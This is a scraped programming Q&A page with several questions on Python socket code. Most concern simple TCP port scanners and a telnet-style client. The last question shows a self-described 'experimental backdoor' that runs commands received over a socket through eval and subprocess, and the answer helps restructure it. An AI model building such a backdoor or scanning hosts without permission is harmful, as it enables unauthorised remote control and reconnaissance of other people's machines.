python - print out ports with their names - python

I have the following code written in 2.7 python:
#...import stuff
remoteServer = raw_input("Enter a remote host to scan: ")
remoteServerIP = socket.gethostbyname(remoteServer)
print "Please wait, scanning remote Host", remoteServerIP
try:
for port in xrange(1, 1024):
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
result = sock.connect_ex((remoteServerIP, port))
if result == 0:
print "port {}: open".format(port)
sock.close
except KeyboardInterrupt:
print "\nexiting..."
sys.exit()
Output:
Enter a remote host to scan: www.myexamplesite.com
Please wait, scanning remote Host xxx.xxx.xx.xx
port 21: open
port 22: open
...
But the problem is that I also want to know which ports are used and for what they are used just like:
#... as usual
port 1 httpserver
port 2 chat server
...
but this is only printing the ports from 1 to 1024
is there a function/way to do this?

socket.getservbyport() will translate port numbers into the service expected to be running on that port (via /etc/services), but won't actually communicate over the port to find out what is really running.

Related

Socket is Showing All Ports closed

I was trying to scan ports through socket but it's show all ports closed. Here is my code:
import socket
sock = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
host = input(" Please Input Ip address To Scan ")
#port = input(" ENter The Port ")
def portscanner(host):
for port in range(1,150):
if sock.connect_ex((host,int(port))):
print(f"{port} Is Closed")
else:
print("port is open")
portscanner(host)
Try creating a connection inside the forloop. And make sure that the input is in valid form.
You can do that using
try and catch near the sock.connect_ex to check whether you are actually sending valid host or not.
To make things faster you can use settimeout(0.25) inside the for loop too.
I meant to do this -
for port in range(start, end):
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.settimeout(.25)
result = sock.connect_ex((host, port))
if result == 0:
print(port,'port is open')
sock.close()

Iterate through subnet and run portscan function

I'm trying to write a python program that will ping sweep a given network (192.168.0.0/24) for example. And then store the alive hosts in an array. From that array, I want to port scan them using a function I wrote. However, I have no idea what I'm doing wrong.
Here is a condensed version of the script not using the alive hosts, just the entire subnet (its the same idea):
#!/usr/bin/env python
import socket
import ipaddress
def portscan(host):
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
for port in range(75,85):
result = sock.connect_ex((host, port))
if result == 0: #the error indictator returns 0 if the operation succeeds.
print "port ",port," is open on ", host
# else:
# print "port ",port," is closed"
sock.close()
logging.debug(i)
except:
print "no connection on port",port, "from host",host
def main():
subnet = ipaddress.ip_network(u'192.168.0.0/29')
for i in subnet:
print i
portscan(i)
if __name__ == "__main__":
main()
The above just returns:
192.168.0.0
no connection on port 75 from host 192.168.0.0
192.168.0.1
no connection on port 75 from host 192.168.0.1
192.168.0.2
no connection on port 75 from host 192.168.0.2
192.168.0.3
no connection on port 75 from host 192.168.0.3
192.168.0.4
no connection on port 75 from host 192.168.0.4
192.168.0.5
no connection on port 75 from host 192.168.0.5
192.168.0.6
no connection on port 75 from host 192.168.0.6
192.168.0.7
no connection on port 75 from host 192.168.0.7
[Finished in 0.0s]
I've also wrote a script that runs a portscan on one specific host, and it works totally fine:
#!/usr/bin/env python
import socket
import sys
server = '192.168.0.1'
def portscanner():
try:
for port in range(1,445):
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
result = sock.connect_ex((server, port))
if result == 0: #the error indictator returns 0 if the operation succeeds.
print "port",port," is open on",server
# else:
# print "port ",port," is closed"
sock.close()
except KeyboardInterrupt:
print " CTRL+C Interruption. Exiting..."
sys.exit()
portscanner()
the hard coded ip returns:
port 80 is open on 192.168.0.1
port 443 is open on 192.168.0.1
[Finished in 20.3s]
I've wrote so many different variations off this to get it to work. But I'm consistently getting it wrong!
I'm also very new to Python, so be gentle!
TL;DR:
iterate through a bunch of IP addresses and call a portscan function on each IP address.
try:
for port in range(75,85):
Your for loop is inside the try block -- as soon as one of the connection attempts fails, it jumps directly to the except clause and skips all of the other ports in the loop. Since most systems won't have port 75 open, this will make the "scan" fail.
Move the for loop outside the try, like you have it in your other script.

Python: Port scann on localhost

I've greatet a port scanner in python, that can check the open ports of an public and local IP.
A Portscann on an public IP works fine, but when i try a scann on localhost (127.0.0.1 or 0.0.0.0) it say on every port that this is closed...
Heres the Code:
try:
for port in range(int(sport), int(eport) + 1):
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
result = sock.connect_ex((remoteServer, port))
if result == 0:
print("[+] Port " + str(port) + " = [Open]")
else:
print("[-] Port " + str(port) + " = [Closed]")
sock.close()
except:
print("\nScan failed!")
time.sleep(2)
print("Check your IP adress.\n")
time.sleep(3)
print("The programm will be closed...")
time.sleep(4)
sys.exit(0)
Maybe your server just binds the public ip (maybe in its config file, there is a config about the ip it binds), so this server can be visited by others.
If the server bind 127.0.0.1(Loop back address), maybe others can not visit it except yourself.
So I think the first situation(bind public ip), it doesn't bind 127.0.0.1(Loop back address), leading to your failure to scan them. Or in another word, the public ip and Loop back address represent 2 different network devices.

python processes script not returning the same answer as direct bash command

hey first time question asker hope this is the correct format
i have a python scirpt which is trying to basically to use a bash command in this case telnet
this is the script
import subprocess
proc = subprocess.Popen(['/bin/bash'], stdin=subprocess.PIPE, stdout=subprocess.PIPE)
stdout = proc.communicate('telnet 192.168.1.67 5555')
print (stdout)
i have a script on my other machine listening on port 5555
and the calling the script in bash returns
Connection closed by foreign host.
("Trying 192.168.1.67...\nConnected to 192.168.1.67.\nEscape character is '^]'.\n", None
and my other computer recognizes a connection but it closes the connection immediately
while when i run the command
telnet 192.168.1.67 5555
it works fine and keeps the connection open
my question is how to i write a script which dose the same thing as the command "telnet 192.168.1.67 5555" and keeps the connection open?
You can use socket — Low-level networking interfac
See the Python module of the week about socket.
Python 2 Example:
import socket, select, string, sys
if(len(sys.argv) < 3) :
print 'Usage : python telnet.py hostname port'
sys.exit()
host = sys.argv[1]
port = int(sys.argv[2])
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(2)
# connect to remote host
try :
s.connect((host, port))
except :
print 'Unable to connect'
sys.exit()
print 'Connected to remote host'
while 1:
socket_list = [sys.stdin, s]
# Get the list sockets which are readable
read_sockets, write_sockets, error_sockets = select.select(socket_list , [], [])
for sock in read_sockets:
#incoming message from remote server
if sock == s:
data = sock.recv(4096)
if not data :
print 'Connection closed'
sys.exit()
else :
#print data
sys.stdout.write(data)
#user entered a message
else :
msg = sys.stdin.readline()
s.send(msg)

Put into a variable the result of listen a TCP port

I was making an experimental backdoor that needs to put into a variable the string that I will send to the port number 433. I try this, but it doesn't work. Here's the code:
import socket
import time
import subprocess
host = '' # <-- WRITE HERE THE HOST TO RECIVE INFO
port = '433'
s = socket.socket()
s.accept()
my_ip = socket.gethostbyname(socket.gethostname())
s.bind((host, port))
try:
s.connect()
except socket.error():
time.sleep(5)
s.connect()
s.send("\n[*] Status: Conected!")
s.listen(port)
while 1:
time.sleep(2)
s.send("\n[*] Status: Transmiting from " + str(my_ip) + "...")
s.send("\n[*] Status: Listening port " + str(port) + "...")
rmt_cmd = s.recv(1024)
if rmt_cmd != "":
eval(rmt_cmd)
s.send("\n[*] Status: Executing ( " + str(rmt_cmd) + " )...")
process = subprocess.Popen(rmt_cmd, shell=False,
stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
cmd_output = process.stdout.read() + process.stderr.read()
s.send("\n[*] Command output/error(s):")
s.send("\n[*] " + cmd_output)
else:
s.send("\n[*] No command recived")
s.send("\n[*] Status: Listening port " + str(port) + "...")
Here the code try to connect to the host, and if there is an error, it waits 5 second and try again, because the other computer has an program that initiate with the OS that accept the connections, so the backdoor wait 5 seconds because the computer may be turning on:
try:
s.connect()
except socket.error():
time.sleep(5)
s.connect()
but the problem is that I want to put into rmt_cmd (remote_command) the string that I will send to the port 433, and this give me another thing:
rmt_cmd = s.recv(1024)
How can I do it?
Although I understand what you're trying to do, the way you're trying to achieve this needs to be reworked.
s = socket.socket()
s.accept()
my_ip = socket.gethostbyname(socket.gethostname())
s.bind((host, port))
try:
s.connect()
except socket.error():
time.sleep(5)
s.connect()
s.send("\n[*] Status: Conected!")
s.listen(port)
You need to get understanding of what you actually want.
1) Do you want your backdoor to stay passive and wait for a connection? Then it should be like this:
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM, 0)
sock.bind(address) # your host/port pair that client will need to connect to
sock.listen(5)
client_sock = sock.accept() # all the communications happen with
# client_sock since now
In this case it is also possible that your OS won't let you bind 433 port. Ports below 1024 are usually forbidden to use by third party apps to prevent conflicts and backdoors (ha-ha).
2) Do you want your backdoor to actively connect to the remote host? Just create socket and use its connect method. Don't mix bind+listen+accept (passive socket mode) with connect (active mode).
rmt_cmd = s.recv(1024) part is unreliable and needs to be refactored. The same thing with s.send usages. Use s.sendall instead or there's a change you won't send the whole message in one send.

Categories